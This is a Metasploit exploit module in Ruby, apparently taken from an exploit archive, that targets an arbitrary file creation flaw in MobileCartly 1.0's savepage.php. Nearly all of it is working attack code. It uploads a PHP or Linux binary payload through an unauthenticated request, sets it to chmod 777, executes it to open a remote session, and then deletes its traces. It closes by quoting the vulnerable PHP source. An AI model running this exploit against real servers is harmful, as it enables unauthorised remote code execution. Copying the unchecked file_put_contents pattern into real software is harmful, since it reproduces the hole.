MobileCartly 1.0 Arbitrary File Creation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability in MobileCartly. The savepage.php file  
does not do any permission checks before using file_put_contents(), which  
allows any user to have direct control of that function to create files  
under the 'pages' directory by default, or anywhere else as long as the user  
has WRITE permission.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['EDB', '20422']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => ['linux', 'php'],  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Aug 10 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])  
], self.class)  
end  
  
  
def check  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
res = send_request_raw({'uri'=>"#{base}/index.php"})  
if res and res.body =~ /MobileCartly/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
def get_write_exec_payload(fname, data)  
p = Rex::Text.encode_base64(generate_payload_exe)  
php = %Q|  
<?php  
$f = fopen("#{fname}", "wb");  
fwrite($f, base64_decode("#{p}"));  
fclose($f);  
exec("chmod 777 #{fname}");  
exec("#{fname}");  
?>  
|  
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')  
return php  
end  
  
  
def on_new_session(cli)  
if cli.type == "meterpreter"  
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")  
end  
  
@clean_files.each do |f|  
print_status("#{@peer} - Removing: #{f}")  
begin  
if cli.type == 'meterpreter'  
cli.fs.file.rm(f)  
else  
cli.shell_command_token("rm #{f}")  
end  
rescue ::Exception => e  
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")  
end  
end  
end  
  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
#  
# Init target path  
#  
target_uri.path << '/' if target_uri.path[-1,1] != '/'  
base = File.dirname("#{target_uri.path}.")  
  
#  
# Configure payload names  
#  
php_fname = Rex::Text.rand_text_alpha(5) + ".php"  
bin_fname = Rex::Text.rand_text_alpha(5)  
@clean_files = [php_fname]  
  
#  
# Generate a payload based on target  
#  
case target['Platform']  
when 'php'  
p = "<?php #{payload.encoded} ?>"  
when 'linux'  
bin_fname << '.bin'  
@clean_files << bin_fname  
bin = generate_payload_exe  
p = get_write_exec_payload("/tmp/#{bin_fname}", bin)  
end  
  
#  
# Upload payload  
#  
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")  
res = send_request_cgi({  
'uri' => "#{base}/includes/savepage.php",  
'vars_get' => {  
'savepage' => php_fname,  
'pagecontent' => p  
}  
})  
  
if not res  
print_error("#{@peer} - No response from server, will not continue.")  
return  
end  
  
#  
# Run payload  
#  
print_status("#{@peer} - Requesting '#{php_fname}'")  
send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})  
  
handler  
end  
end  
  
=begin  
*facepalm*  
  
<?php  
$page = "../pages/" . $_REQUEST['savepage'];  
$content = $_REQUEST['pagecontent'];  
file_put_contents($page, $content);  
?>  
=end`